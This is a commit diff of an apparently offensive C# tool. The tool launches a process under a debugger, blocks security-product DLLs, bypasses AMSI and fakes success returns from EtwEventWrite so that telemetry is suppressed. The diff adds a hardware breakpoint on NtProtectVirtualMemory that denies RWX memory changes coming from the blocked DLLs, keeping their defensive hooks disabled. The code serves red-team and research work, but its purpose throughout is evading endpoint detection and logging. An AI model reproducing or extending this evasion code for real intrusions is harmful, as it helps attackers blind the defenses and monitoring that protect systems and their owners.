@@ -28,8 +28,10 @@ class Program {
28
28
static Execute . DynamicInvoke . Native . DELEGATES . NtProtectVirtualMemory NtProtectVirtualMemorySysCall ;
29
29
30
30
static Program ( ) {
31
- NtWriteVirtualMemorySysCall = GetDelagateForSysCall < Execute . DynamicInvoke . Native . DELEGATES . NtWriteVirtualMemory > ( Execute . DynamicInvoke . Generic . GetSyscallStub ( "NtWriteVirtualMemory" ) ) ;
32
- NtProtectVirtualMemorySysCall = GetDelagateForSysCall < Execute . DynamicInvoke . Native . DELEGATES . NtProtectVirtualMemory > ( Execute . DynamicInvoke . Generic . GetSyscallStub ( "NtProtectVirtualMemory" ) ) ;
31
+ if ( IntPtr . Size == 8 ) {
32
+ NtWriteVirtualMemorySysCall = GetDelagateForSysCall < Execute . DynamicInvoke . Native . DELEGATES . NtWriteVirtualMemory > ( Execute . DynamicInvoke . Generic . GetSyscallStub ( "NtWriteVirtualMemory" ) ) ;
33
+ NtProtectVirtualMemorySysCall = GetDelagateForSysCall < Execute . DynamicInvoke . Native . DELEGATES . NtProtectVirtualMemory > ( Execute . DynamicInvoke . Generic . GetSyscallStub ( "NtProtectVirtualMemory" ) ) ;
34
+ }
33
35
}
34
36
35
37
static D GetDelagateForSysCall < D > ( IntPtr syscallStub ) where D : Delegate {
@@ -48,6 +50,7 @@ public struct HostProcessInfo {
48
50
static List < string > blockDescription = new List < string > ( ) ;
49
51
static List < string > blockCopyright = new List < string > ( ) ;
50
52
static List < string > blockProduct = new List < string > ( ) ;
53
+ static List < Tuple < long , long > > blockAddressRanges = new List < Tuple < long , long > > ( ) ;
51
54
52
55
static IntPtr amsiInitalizePtr ;
53
56
static IntPtr getCommandLineWPtr ;
@@ -118,6 +121,11 @@ static bool WriteProcessMemory(IntPtr hProcess, IntPtr baseAddress, byte[] data,
118
121
}
119
122
}
120
123
124
+ static bool IsInBlockedRange ( long address ) {
125
+ var result = blockAddressRanges . Where ( range => address >= range . Item1 && address < range . Item2 ) . FirstOrDefault ( ) ;
126
+ return result != null ;
127
+ }
128
+
121
129
static string PatchEntryPointIfNeeded ( IntPtr moduleHandle , IntPtr imageBase , IntPtr hProcess ) {
122
130
123
131
long fileSize ;
@@ -151,21 +159,27 @@ static string PatchEntryPointIfNeeded(IntPtr moduleHandle, IntPtr imageBase, Int
151
159
152
160
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100 ;
153
161
IntPtr entryPoint ;
162
+ long sizeOfImage ;
154
163
if ( ( fileHeader . Characteristics & IMAGE_FILE_32BIT_MACHINE ) == IMAGE_FILE_32BIT_MACHINE ) {
155
164
PE . IMAGE_OPTIONAL_HEADER32 optionalHeader = ( PE . IMAGE_OPTIONAL_HEADER32 ) Marshal . PtrToStructure
156
165
( new IntPtr ( mem . ToInt64 ( ) + dosHeader . e_lfanew + Marshal . SizeOf ( typeof ( PE . IMAGE_FILE_HEADER ) ) ) , typeof ( PE . IMAGE_OPTIONAL_HEADER32 ) ) ;
157
166
158
167
entryPoint = new IntPtr ( optionalHeader . AddressOfEntryPoint + imageBase . ToInt32 ( ) ) ;
168
+ sizeOfImage = optionalHeader . SizeOfImage ;
159
169
160
170
} else {
161
171
PE . IMAGE_OPTIONAL_HEADER64 optionalHeader = ( PE . IMAGE_OPTIONAL_HEADER64 ) Marshal . PtrToStructure
162
172
( new IntPtr ( mem . ToInt64 ( ) + dosHeader . e_lfanew + Marshal . SizeOf ( typeof ( PE . IMAGE_FILE_HEADER ) ) ) , typeof ( PE . IMAGE_OPTIONAL_HEADER64 ) ) ;
163
173
164
174
entryPoint = new IntPtr ( optionalHeader . AddressOfEntryPoint + imageBase . ToInt64 ( ) ) ;
175
+ sizeOfImage = optionalHeader . SizeOfImage ;
165
176
}
166
177
167
178
if ( ShouldBlockDLL ( dllPath . ToString ( ) ) ) {
168
179
180
+ Tuple < long , long > addressRange = new Tuple < long , long > ( ( long ) imageBase , ( long ) imageBase + sizeOfImage ) ;
181
+ blockAddressRanges . Add ( addressRange ) ;
182
+
169
183
Console . WriteLine ( $ "[+] Blocked DLL { dllPath } ") ;
170
184
171
185
byte [ ] retIns = new byte [ 1 ] { 0xC3 } ;
@@ -657,6 +671,20 @@ private static void SetNewProcessParent(ref STARTUPINFOEX startupInfoEx, int par
657
671
}
658
672
}
659
673
674
+ private static void BlockVirtualProtect ( IntPtr hThread , IntPtr hProcess ) {
675
+
676
+ Context ctx = ContextFactory . Create ( ContextFlags . All ) ;
677
+ ctx . GetContext ( hThread ) ;
678
+
679
+ long returnAddress = ( long ) ctx . GetCurrentReturnAddress ( hProcess ) ;
680
+ long protection = ctx . GetParameter ( 3 , hProcess ) ;
681
+
682
+ if ( protection == 0x40 && IsInBlockedRange ( returnAddress ) ) {
683
+ Console . WriteLine ( "[+] Attempt to change memory to RWX from blocked DLL denied" ) ;
684
+ OverrideReturnValue ( hThread , hProcess , new UIntPtr ( 0xC0000022 ) , 5 ) ;
685
+ }
686
+ }
687
+
660
688
static void StdOutReader ( StreamReader sr ) {
661
689
662
690
try {
@@ -731,6 +759,7 @@ static void Main(string[] args) {
731
759
732
760
IntPtr ntdllBase = WinAPI . LoadLibrary ( "ntdll.dll" ) ;
733
761
IntPtr etwEventWritePtr = WinAPI . GetProcAddress ( ntdllBase , "EtwEventWrite" ) ;
762
+ IntPtr ntProtectVirtualMemoryPtr = WinAPI . GetProcAddress ( ntdllBase , "NtProtectVirtualMemory" ) ;
734
763
735
764
Console . WriteLine ( $ "[+] in-proc amsi 0x{ amsiBase . ToInt64 ( ) : x16} ") ;
736
765
Console . WriteLine ( $ "[+] in-proc ntdll 0x{ ntdllBase . ToInt64 ( ) : x16} ") ;
@@ -796,6 +825,8 @@ static void Main(string[] args) {
796
825
if ( bypassAmsi )
797
826
SetHardwareBreakpoint ( CreateProcessDebugInfo . hThread , amsiInitalizePtr , 0 ) ;
798
827
828
+ SetHardwareBreakpoint ( CreateProcessDebugInfo . hThread , ntProtectVirtualMemoryPtr , 3 ) ;
829
+
799
830
break ;
800
831
case WinAPI . CREATE_THREAD_DEBUG_EVENT :
801
832
WinAPI . CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = ( WinAPI . CREATE_THREAD_DEBUG_INFO ) Marshal . PtrToStructure ( debugInfoPtr , typeof ( WinAPI . CREATE_THREAD_DEBUG_INFO ) ) ;
@@ -807,6 +838,8 @@ static void Main(string[] args) {
807
838
808
839
if ( bypassETW )
809
840
SetHardwareBreakpoint ( threadHandles [ DebugEvent . dwThreadId ] , etwEventWritePtr , 2 ) ;
841
+
842
+ SetHardwareBreakpoint ( CreateThreadDebugInfo . hThread , ntProtectVirtualMemoryPtr , 3 ) ;
810
843
}
811
844
812
845
break ;
@@ -882,6 +915,11 @@ static void Main(string[] args) {
882
915
} else if ( ExceptionDebugInfo . ExceptionRecord . ExceptionAddress == etwEventWritePtr ) {
883
916
//We have hit EtwEventWrite so lets just return with a fake success result
884
917
OverrideReturnValue ( threadHandles [ DebugEvent . dwThreadId ] , processHandles [ DebugEvent . dwProcessId ] , new UIntPtr ( 0 ) , 5 ) ;
918
+ } else if ( ExceptionDebugInfo . ExceptionRecord . ExceptionAddress == ntProtectVirtualMemoryPtr ) {
919
+ BlockVirtualProtect ( threadHandles [ DebugEvent . dwThreadId ] , processHandles [ DebugEvent . dwProcessId ] ) ;
920
+ SetHardwareBreakpoint ( threadHandles [ DebugEvent . dwThreadId ] , ntProtectVirtualMemoryPtr , 3 ) ;
921
+ } else {
922
+ SetHardwareBreakpoint ( threadHandles [ DebugEvent . dwThreadId ] , ntProtectVirtualMemoryPtr , 3 ) ;
885
923
}
886
924
887
925
} else {
0 commit comments